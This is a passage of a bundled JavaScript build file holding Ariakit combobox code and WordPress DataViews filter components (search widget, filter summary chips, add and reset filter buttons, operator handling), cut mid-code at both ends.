      (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemValueContext.Provider, { value, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemCheckedContext.Provider, { value: selected != null ? selected : false, children: element }) }),
      [value, selected]
    );
    const popupRole = (0,external_React_.useContext)(ComboboxListRoleContext);
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      role: getItemRole(popupRole),
      children: value
    }, props), {
      onClick,
      onKeyDown
    });
    const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
    props = useCompositeItem(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      store
    }, props), {
      getItem,
      // Dispatch a custom event on the combobox input when moving to an item
      // with the keyboard so the Combobox component can enable inline
      // autocompletion.
      moveOnKeyPress: (event) => {
        if (!moveOnKeyPressProp(event)) return false;
        const moveEvent = new Event("combobox-item-move");
        const baseElement = store == null ? void 0 : store.getState().baseElement;
        baseElement == null ? void 0 : baseElement.dispatchEvent(moveEvent);
        return true;
      }
    }));
    props = useCompositeHover(_3YLGPPWQ_spreadValues({ store, focusOnHover }, props));
    return props;
  }
);
var ComboboxItem = memo2(
  forwardRef2(function ComboboxItem2(props) {
    const htmlProps = useComboboxItem(props);
    return createElement(ZTDSJLD6_TagName, htmlProps);
  })
);



;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-item-value.js
"use client";












// src/combobox/combobox-item-value.tsx




var combobox_item_value_TagName = "span";
function normalizeValue(value) {
  return PBFD2E7P_normalizeString(value).toLowerCase();
}
function getOffsets(string, values) {
  const offsets = [];
  for (const value of values) {
    let pos = 0;
    const length = value.length;
    while (string.indexOf(value, pos) !== -1) {
      const index = string.indexOf(value, pos);
      if (index !== -1) {
        offsets.push([index, length]);
      }
      pos = index + 1;
    }
  }
  return offsets;
}
function filterOverlappingOffsets(offsets) {
  return offsets.filter(([offset, length], i, arr) => {
    return !arr.some(
      ([o, l], j) => j !== i && o <= offset && o + l >= offset + length
    );
  });
}
function sortOffsets(offsets) {
  return offsets.sort(([a], [b]) => a - b);
}
function splitValue(itemValue, userValue) {
  if (!itemValue) return itemValue;
  if (!userValue) return itemValue;
  const userValues = toArray(userValue).filter(Boolean).map(normalizeValue);
  const parts = [];
  const span = (value, autocomplete = false) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
    "span",
    {
      "data-autocomplete-value": autocomplete ? "" : void 0,
      "data-user-value": autocomplete ? void 0 : "",
      children: value
    },
    parts.length
  );
  const offsets = sortOffsets(
    filterOverlappingOffsets(
      // Convert userValues into a set to avoid duplicates
      getOffsets(normalizeValue(itemValue), new Set(userValues))
    )
  );
  if (!offsets.length) {
    parts.push(span(itemValue, true));
    return parts;
  }
  const [firstOffset] = offsets[0];
  const values = [
    itemValue.slice(0, firstOffset),
    ...offsets.flatMap(([offset, length], i) => {
      var _a;
      const value = itemValue.slice(offset, offset + length);
      const nextOffset = (_a = offsets[i + 1]) == null ? void 0 : _a[0];
      const nextValue = itemValue.slice(offset + length, nextOffset);
      return [value, nextValue];
    })
  ];
  values.forEach((value, i) => {
    if (!value) return;
    parts.push(span(value, i % 2 === 0));
  });
  return parts;
}
var useComboboxItemValue = createHook(function useComboboxItemValue2(_a) {
  var _b = _a, { store, value, userValue } = _b, props = __objRest(_b, ["store", "value", "userValue"]);
  const context = useComboboxScopedContext();
  store = store || context;
  const itemContext = (0,external_React_.useContext)(ComboboxItemValueContext);
  const itemValue = value != null ? value : itemContext;
  const inputValue = useStoreState(store, (state) => userValue != null ? userValue : state == null ? void 0 : state.value);
  const children = (0,external_React_.useMemo)(() => {
    if (!itemValue) return;
    if (!inputValue) return itemValue;
    return splitValue(itemValue, inputValue);
  }, [itemValue, inputValue]);
  props = _3YLGPPWQ_spreadValues({
    children
  }, props);
  return removeUndefinedValues(props);
});
var ComboboxItemValue = forwardRef2(function ComboboxItemValue2(props) {
  const htmlProps = useComboboxItemValue(props);
  return createElement(combobox_item_value_TagName, htmlProps);
});


;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/search-widget.js
/**
 * External dependencies
 */
// eslint-disable-next-line no-restricted-imports



/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */

const radioCheck = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Circle, {
    cx: 12,
    cy: 12,
    r: 3
  })
});
function search_widget_normalizeSearchInput(input = '') {
  return remove_accents_default()(input.trim().toLowerCase());
}
const search_widget_EMPTY_ARRAY = [];
const getCurrentValue = (filterDefinition, currentFilter) => {
  if (filterDefinition.singleSelection) {
    return currentFilter?.value;
  }
  if (Array.isArray(currentFilter?.value)) {
    return currentFilter.value;
  }
  if (!Array.isArray(currentFilter?.value) && !!currentFilter?.value) {
    return [currentFilter.value];
  }
  return search_widget_EMPTY_ARRAY;
};
const getNewValue = (filterDefinition, currentFilter, value) => {
  if (filterDefinition.singleSelection) {
    return value;
  }
  if (Array.isArray(currentFilter?.value)) {
    return currentFilter.value.includes(value) ? currentFilter.value.filter(v => v !== value) : [...currentFilter.value, value];
  }
  return [value];
};
function generateFilterElementCompositeItemId(prefix, filterElementValue) {
  return `${prefix}-${filterElementValue}`;
}
function ListBox({
  view,
  filter,
  onChangeView
}) {
  const baseId = (0,external_wp_compose_namespaceObject.useInstanceId)(ListBox, 'dataviews-filter-list-box');
  const [activeCompositeId, setActiveCompositeId] = (0,external_wp_element_namespaceObject.useState)(
  // When there are one or less operators, the first item is set as active
  // (by setting the initial `activeId` to `undefined`).
  // With 2 or more operators, the focus is moved on the operators control
  // (by setting the initial `activeId` to `null`), meaning that there won't
  // be an active item initially. Focus is then managed via the
  // `onFocusVisible` callback.
  filter.operators?.length === 1 ? undefined : null);
  const currentFilter = view.filters?.find(f => f.field === filter.field);
  const currentValue = getCurrentValue(filter, currentFilter);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
    virtualFocus: true,
    focusLoop: true,
    activeId: activeCompositeId,
    setActiveId: setActiveCompositeId,
    role: "listbox",
    className: "dataviews-filters__search-widget-listbox",
    "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: List of items for a filter. 1: Filter name. e.g.: "List of: Author". */
    (0,external_wp_i18n_namespaceObject.__)('List of: %1$s'), filter.name),
    onFocusVisible: () => {
      // `onFocusVisible` needs the `Composite` component to be focusable,
      // which is implicitly achieved via the `virtualFocus` prop.
      if (!activeCompositeId && filter.elements.length) {
        setActiveCompositeId(generateFilterElementCompositeItemId(baseId, filter.elements[0].value));
      }
    },
    render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Typeahead, {}),
    children: filter.elements.map(element => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Hover, {
      render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
        id: generateFilterElementCompositeItemId(baseId, element.value),
        render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          "aria-label": element.label,
          role: "option",
          className: "dataviews-filters__search-widget-listitem"
        }),
        onClick: () => {
          var _view$filters, _view$filters2;
          const newFilters = currentFilter ? [...((_view$filters = view.filters) !== null && _view$filters !== void 0 ? _view$filters : []).map(_filter => {
            if (_filter.field === filter.field) {
              return {
                ..._filter,
                operator: currentFilter.operator || filter.operators[0],
                value: getNewValue(filter, currentFilter, element.value)
              };
            }
            return _filter;
          })] : [...((_view$filters2 = view.filters) !== null && _view$filters2 !== void 0 ? _view$filters2 : []), {
            field: filter.field,
            operator: filter.operators[0],
            value: getNewValue(filter, currentFilter, element.value)
          }];
          onChangeView({
            ...view,
            page: 1,
            filters: newFilters
          });
        }
      }),
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
        className: "dataviews-filters__search-widget-listitem-check",
        children: [filter.singleSelection && currentValue === element.value && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
          icon: radioCheck
        }), !filter.singleSelection && currentValue.includes(element.value) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
          icon: library_check
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
        children: element.label
      })]
    }, element.value))
  });
}
function search_widget_ComboboxList({
  view,
  filter,
  onChangeView
}) {
  const [searchValue, setSearchValue] = (0,external_wp_element_namespaceObject.useState)('');
  const deferredSearchValue = (0,external_wp_element_namespaceObject.useDeferredValue)(searchValue);
  const currentFilter = view.filters?.find(_filter => _filter.field === filter.field);
  const currentValue = getCurrentValue(filter, currentFilter);
  const matches = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const normalizedSearch = search_widget_normalizeSearchInput(deferredSearchValue);
    return filter.elements.filter(item => search_widget_normalizeSearchInput(item.label).includes(normalizedSearch));
  }, [filter.elements, deferredSearchValue]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComboboxProvider, {
    selectedValue: currentValue,
    setSelectedValue: value => {
      var _view$filters3, _view$filters4;
      const newFilters = currentFilter ? [...((_view$filters3 = view.filters) !== null && _view$filters3 !== void 0 ? _view$filters3 : []).map(_filter => {
        if (_filter.field === filter.field) {
          return {
            ..._filter,
            operator: currentFilter.operator || filter.operators[0],
            value
          };
        }
        return _filter;
      })] : [...((_view$filters4 = view.filters) !== null && _view$filters4 !== void 0 ? _view$filters4 : []), {
        field: filter.field,
        operator: filter.operators[0],
        value
      }];
      onChangeView({
        ...view,
        page: 1,
        filters: newFilters
      });
    },
    setValue: setSearchValue,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "dataviews-filters__search-widget-filter-combobox__wrapper",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxLabel, {
        render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
          children: (0,external_wp_i18n_namespaceObject.__)('Search items')
        }),
        children: (0,external_wp_i18n_namespaceObject.__)('Search items')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Combobox, {
        autoSelect: "always",
        placeholder: (0,external_wp_i18n_namespaceObject.__)('Search'),
        className: "dataviews-filters__search-widget-filter-combobox__input"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataviews-filters__search-widget-filter-combobox__icon",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
          icon: library_search
        })
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComboboxList, {
      className: "dataviews-filters__search-widget-filter-combobox-list",
      alwaysVisible: true,
      children: [matches.map(element => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComboboxItem, {
          resetValueOnSelect: false,
          value: element.value,
          className: "dataviews-filters__search-widget-listitem",
          hideOnClick: false,
          setValueOnClick: false,
          focusOnHover: true,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
            className: "dataviews-filters__search-widget-listitem-check",
            children: [filter.singleSelection && currentValue === element.value && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
              icon: radioCheck
            }), !filter.singleSelection && currentValue.includes(element.value) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
              icon: library_check
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemValue, {
              className: "dataviews-filters__search-widget-filter-combobox-item-value",
              value: element.label
            }), !!element.description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "dataviews-filters__search-widget-listitem-description",
              children: element.description
            })]
          })]
        }, element.value);
      }), !matches.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        children: (0,external_wp_i18n_namespaceObject.__)('No results found')
      })]
    })]
  });
}
function SearchWidget(props) {
  const Widget = props.filter.elements.length > 10 ? search_widget_ComboboxList : ListBox;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Widget, {
    ...props
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/filter-summary.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */




const ENTER = 'Enter';
const SPACE = ' ';

/**
 * Internal dependencies
 */



const FilterText = ({
  activeElements,
  filterInView,
  filter
}) => {
  if (activeElements === undefined || activeElements.length === 0) {
    return filter.name;
  }
  const filterTextWrappers = {
    Name: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "dataviews-filters__summary-filter-text-name"
    }),
    Value: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "dataviews-filters__summary-filter-text-value"
    })
  };
  if (filterInView?.operator === constants_OPERATOR_IS_ANY) {
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is any: Admin, Editor". */
    (0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is any: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
  }
  if (filterInView?.operator === constants_OPERATOR_IS_NONE) {
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is none: Admin, Editor". */
    (0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is none: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
  }
  if (filterInView?.operator === OPERATOR_IS_ALL) {
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is all: Admin, Editor". */
    (0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is all: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
  }
  if (filterInView?.operator === OPERATOR_IS_NOT_ALL) {
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is not all: Admin, Editor". */
    (0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is not all: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
  }
  if (filterInView?.operator === constants_OPERATOR_IS) {
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is: Admin". */
    (0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is: </Name><Value>%2$s</Value>'), filter.name, activeElements[0].label), filterTextWrappers);
  }
  if (filterInView?.operator === constants_OPERATOR_IS_NOT) {
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is not: Admin". */
    (0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is not: </Name><Value>%2$s</Value>'), filter.name, activeElements[0].label), filterTextWrappers);
  }
  return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name e.g.: "Unknown status for Author". */
  (0,external_wp_i18n_namespaceObject.__)('Unknown status for %1$s'), filter.name);
};
function OperatorSelector({
  filter,
  view,
  onChangeView
}) {
  const operatorOptions = filter.operators?.map(operator => ({
    value: operator,
    label: OPERATORS[operator]?.label
  }));
  const currentFilter = view.filters?.find(_filter => _filter.field === filter.field);
  const value = currentFilter?.operator || filter.operators[0];
  return operatorOptions.length > 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    spacing: 2,
    justify: "flex-start",
    className: "dataviews-filters__summary-operators-container",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
      className: "dataviews-filters__summary-operators-filter-name",
      children: filter.name
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
      label: (0,external_wp_i18n_namespaceObject.__)('Conditions'),
      value: value,
      options: operatorOptions,
      onChange: newValue => {
        var _view$filters, _view$filters2;
        const operator = newValue;
        const newFilters = currentFilter ? [...((_view$filters = view.filters) !== null && _view$filters !== void 0 ? _view$filters : []).map(_filter => {
          if (_filter.field === filter.field) {
            return {
              ..._filter,
              operator
            };
          }
          return _filter;
        })] : [...((_view$filters2 = view.filters) !== null && _view$filters2 !== void 0 ? _view$filters2 : []), {
          field: filter.field,
          operator,
          value: undefined
        }];
        onChangeView({
          ...view,
          page: 1,
          filters: newFilters
        });
      },
      size: "small",
      __nextHasNoMarginBottom: true,
      hideLabelFromVision: true
    })]
  });
}
function FilterSummary({
  addFilterRef,
  openedFilter,
  ...commonProps
}) {
  const toggleRef = (0,external_wp_element_namespaceObject.useRef)(null);
  const {
    filter,
    view,
    onChangeView
  } = commonProps;
  const filterInView = view.filters?.find(f => f.field === filter.field);
  const activeElements = filter.elements.filter(element => {
    if (filter.singleSelection) {
      return element.value === filterInView?.value;
    }
    return filterInView?.value?.includes(element.value);
  });
  const isPrimary = filter.isPrimary;
  const hasValues = filterInView?.value !== undefined;
  const canResetOrRemove = !isPrimary || hasValues;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
    defaultOpen: openedFilter === filter.field,
    contentClassName: "dataviews-filters__summary-popover",
    popoverProps: {
      placement: 'bottom-start',
      role: 'dialog'
    },
    onClose: () => {
      toggleRef.current?.focus();
    },
    renderToggle: ({
      isOpen,
      onToggle
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "dataviews-filters__summary-chip-container",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
        text: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. */
        (0,external_wp_i18n_namespaceObject.__)('Filter by: %1$s'), filter.name.toLowerCase()),
        placement: "top",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: dist_clsx('dataviews-filters__summary-chip', {
            'has-reset': canResetOrRemove,
            'has-values': hasValues
          }),
          role: "button",
          tabIndex: 0,
          onClick: onToggle,
          onKeyDown: event => {
            if ([ENTER, SPACE].includes(event.key)) {
              onToggle();
              event.preventDefault();
            }
          },
          "aria-pressed": isOpen,
          "aria-expanded": isOpen,
          ref: toggleRef,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FilterText, {
            activeElements: activeElements,
            filterInView: filterInView,
            filter: filter
          })
        })
      }), canResetOrRemove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
        text: isPrimary ? (0,external_wp_i18n_namespaceObject.__)('Reset') : (0,external_wp_i18n_namespaceObject.__)('Remove'),
        placement: "top",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("button", {
          className: dist_clsx('dataviews-filters__summary-chip-remove', {
            'has-values': hasValues
          }),
          onClick: () => {
            onChangeView({
              ...view,
              page: 1,
              filters: view.filters?.filter(_filter => _filter.field !== filter.field)
            });
            // If the filter is not primary and can be removed, it will be added
            // back to the available filters from `Add filter` component.
            if (!isPrimary) {
              addFilterRef.current?.focus();
            } else {
              // If is primary, focus the toggle button.
              toggleRef.current?.focus();
            }
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
            icon: close_small
          })
        })
      })]
    }),
    renderContent: () => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: 0,
        justify: "flex-start",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(OperatorSelector, {
          ...commonProps
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SearchWidget, {
          ...commonProps
        })]
      });
    }
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/lock-unlock.js
/**
 * WordPress dependencies
 */

const {
  lock: lock_unlock_lock,
  unlock: lock_unlock_unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/dataviews');

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/add-filter.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const {
  Menu: add_filter_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function AddFilterMenu({
  filters,
  view,
  onChangeView,
  setOpenedFilter,
  triggerProps
}) {
  const inactiveFilters = filters.filter(filter => !filter.isVisible);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(add_filter_Menu, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.TriggerButton, {
      ...triggerProps
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.Popover, {
      children: inactiveFilters.map(filter => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.Item, {
          onClick: () => {
            setOpenedFilter(filter.field);
            onChangeView({
              ...view,
              page: 1,
              filters: [...(view.filters || []), {
                field: filter.field,
                value: undefined,
                operator: filter.operators[0]
              }]
            });
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.ItemLabel, {
            children: filter.name
          })
        }, filter.field);
      })
    })]
  });
}
function AddFilter({
  filters,
  view,
  onChangeView,
  setOpenedFilter
}, ref) {
  if (!filters.length || filters.every(({
    isPrimary
  }) => isPrimary)) {
    return null;
  }
  const inactiveFilters = filters.filter(filter => !filter.isVisible);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddFilterMenu, {
    triggerProps: {
      render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        accessibleWhenDisabled: true,
        size: "compact",
        className: "dataviews-filters-button",
        variant: "tertiary",
        disabled: !inactiveFilters.length,
        ref: ref
      }),
      children: (0,external_wp_i18n_namespaceObject.__)('Add filter')
    },
    filters,
    view,
    onChangeView,
    setOpenedFilter
  });
}
/* harmony default export */ const add_filter = ((0,external_wp_element_namespaceObject.forwardRef)(AddFilter));

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/reset-filters.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function ResetFilter({
  filters,
  view,
  onChangeView
}) {
  const isPrimary = field => filters.some(_filter => _filter.field === field && _filter.isPrimary);
  const isDisabled = !view.search && !view.filters?.some(_filter => _filter.value !== undefined || !isPrimary(_filter.field));
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    disabled: isDisabled,
    accessibleWhenDisabled: true,
    size: "compact",
    variant: "tertiary",
    className: "dataviews-filters__reset-button",
    onClick: () => {
      onChangeView({
        ...view,
        page: 1,
        search: '',
        filters: []
      });
    },
    children: (0,external_wp_i18n_namespaceObject.__)('Reset')
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/utils.js
/**
 * Internal dependencies
 */

function sanitizeOperators(field) {
  let operators = field.filterBy?.operators;

  // Assign default values.
  if (!operators || !Array.isArray(operators)) {
    operators = [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE];
  }

  // Make sure only valid operators are used.
  operators = operators.filter(operator => ALL_OPERATORS.includes(operator));

  // Do not allow mixing single & multiselection operators.
  // Remove multiselection operators if any of the single selection ones is present.
  if (operators.includes(constants_OPERATOR_IS) || operators.includes(constants_OPERATOR_IS_NOT)) {
    operators = operators.filter(operator => [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT].includes(operator));
  }
  return operators;
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */







function useFilters(fields, view) {
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const filters = [];
    fields.forEach(field => {
      if (!field.elements?.length) {
        return;
      }
      const operators = sanitizeOperators(field);
      if (operators.length === 0) {
        return;
      }
      const isPrimary = !!field.filterBy?.isPrimary;
      filters.push({
        field: field.id,
        name: field.label,
        elements: field.elements,
        singleSelection: operators.some(op => [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT].includes(op)),
        operators,
        isVisible: isPrimary || !!view.filters?.some(f => f.field === field.id && ALL_OPERATORS.includes(f.operator)),
        isPrimary
      });
    });
    // Sort filters by primary property. We need the primary filters to be first.
    // Then we sort by name.
    filters.sort((a, b) => {
      if (a.isPrimary && !b.isPrimary) {
        return -1;
      }
      if (!a.isPrimary && b.isPrimary) {
        return 1;
      }
      return a.name.localeCompare(b.name);
    });
    return filters;
  }, [fields, view]);
}
function FiltersToggle({
  filters,
  view,
  onChangeView,
  setOpenedFilter,
  isShowingFilter,
  setIsShowingFilter
}) {
  const buttonRef = (0,external_wp_element_namespaceObject.useRef)(null);
  const onChangeViewWithFilterVisibility = (0,external_wp_element_namespaceObject.useCallback)(_view => {
    onChangeView(_view);
    setIsShowingFilter(true);
  }, [onChangeView, setIsShowingFilter]);
  const visibleFilters = filters.filter(filter => filter.isVisible);
  const hasVisibleFilters = !!visibleFilters.length;
  if (filters.length === 0) {
    return null;
  }
  const addFilterButtonProps = {
    label: (0,external_wp_i18n_namespaceObject.__)('Add filter'),
    'aria-expanded': false,
    isPressed: false
  };
  const toggleFiltersButtonProps = {
    label: (0,external_wp_i18n_namespaceObject._x)('Filter', 'verb'),
    'aria-expanded': isShowingFilter,
    isPressed: isShowingFilter,
    onClick: () => {
      if (!isShowingFilter) {
        setOpenedFilter(null);
      }
      setIsShowingFilter(!isShowingFilter);
    }
  };
  const buttonComponent = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    ref: buttonRef,
    className: "dataviews-filters__visibility-toggle",
    size: "compact",
    icon: library_funnel,
    ...(hasVisibleFilters ? toggleFiltersButtonProps : addFilterButtonProps)
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "dataviews-filters__container-visibility-toggle",
    children: !hasVisibleFilters ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddFilterMenu, {
      filters: filters,
      view: view,
      onChangeView: onChangeViewWithFilterVisibility,
      setOpenedFilter: setOpenedFilter,
      triggerProps: {
        render: buttonComponent
      }
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FilterVisibilityToggle, {
      buttonRef: buttonRef,
      filtersCount: view.filters?.length,
      children: buttonComponent
    })
  });
}
function FilterVisibilityToggle({
  buttonRef,
  filtersCount,
  children
}) {
  // Focus the `add filter` button when unmounts.
  (0,external_wp_element_namespaceObject.useEffect)(() => () => {
    buttonRef.current?.focus();
  }, [buttonRef]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [children, !!filtersCount && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "dataviews-filters-toggle__count",
      children: filtersCount
    })]
  });
}
function Filters() {
  const {
    fields,
    view,
    onChangeView,
    openedFilter,
    setOpenedFilter
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const addFilterRef = (0,external_wp_element_namespaceObject.useRef)(null);
  const filters = useFilters(fields, view);
  const addFilter = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter, {
    filters: filters,
    view: view,
    onChangeView: onChangeView,
    ref: addFilterRef,
    setOpenedFilter: setOpenedFilter
  }, "add-filter");
  const visibleFilters = filters.filter(filter => filter.isVisible);
  if (visibleFilters.length === 0) {
    return null;
  }
  const filterComponents = [...visibleFilters.map(filter => {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FilterSummary, {
      filter: filter,
      view: view,
      onChangeView: onChangeView,
      addFilterRef: addFilterRef,
      openedFilter: openedFilter
    }, filter.field);
  }), addFilter];
